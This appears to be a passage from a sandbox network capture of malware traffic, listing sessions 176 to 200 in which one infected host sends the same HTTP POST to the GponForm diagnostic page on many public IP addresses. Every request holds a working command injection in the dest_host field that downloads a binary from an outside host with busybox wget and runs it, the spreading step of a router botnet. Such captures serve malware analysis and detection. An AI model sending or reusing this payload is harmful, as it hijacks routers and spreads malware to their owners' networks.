Apr 14, 2024 03:59:49.710494041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.13	41962	2.141.99.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710530043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.13	33950	79.184.187.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710551977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.13	53482	123.23.52.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710577965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.13	57110	42.2.99.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710628986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.13	43778	117.249.255.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710659981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.13	38422	2.178.60.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710711002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.13	45916	2.183.173.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710743904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.13	44658	94.42.190.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710772038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.13	40484	5.1.218.89	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710802078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.13	37402	5.195.167.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710829973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.13	47776	37.66.152.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710840940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.13	48258	202.94.174.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710870028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.13	41034	178.149.9.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710894108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.13	49102	118.118.215.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710933924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.13	44024	117.204.177.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710954905 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.13	51066	117.156.39.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.710992098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.13	45380	2.253.230.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711011887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.13	35500	2.7.176.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711046934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.13	55794	202.14.138.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711095095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.13	55660	117.6.222.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711127043 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.13	51550	79.6.173.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711139917 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.13	33934	118.23.62.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711177111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.13	53216	42.191.173.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711215019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.13	36642	118.94.26.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:49.711215973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.13	47728	148.107.227.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.744128942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
